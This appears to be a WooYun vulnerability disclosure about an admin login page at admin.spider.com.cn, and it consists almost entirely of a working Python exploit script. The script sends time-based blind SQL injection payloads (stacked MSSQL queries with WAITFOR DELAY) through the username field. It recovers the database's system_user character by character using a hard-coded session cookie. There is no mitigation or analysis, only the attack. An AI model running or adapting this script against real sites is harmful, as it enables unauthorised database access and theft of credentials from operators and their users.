WooYun.org

url: http://admin.spider.com.cn/spider2/admin/login_manager.jsp?oid=login

#encoding=utf-8
import httplib, urllib, time
headers = {
"Host": "admin.spider.com.cn",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "JSESSIONID=32D6F796E621E171C0EA97831CBC6C5F; "}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
user = ""
for i in range(15):
    for s in payloads:
        try:
            payload = "username=aa';if(ascii(substring(system_user,%d,1))=%d) begin WAITFOR DELAY '0:0:10' end--" % (i,ord(s))
            conn = httplib.HTTPConnection("admin.spider.com.cn",timeout = 5);
            conn.request(method="POST",url="http://admin.spider.com.cn/spider2/admin/login_manager.jsp?oid=login",body=payload,headers=headers);
            conn.getresponse()
            conn.close()
            print '.',
        except :
            user += s
            print '\n'+user
            time.sleep(3)
            break
print "\n Current user is %s" % user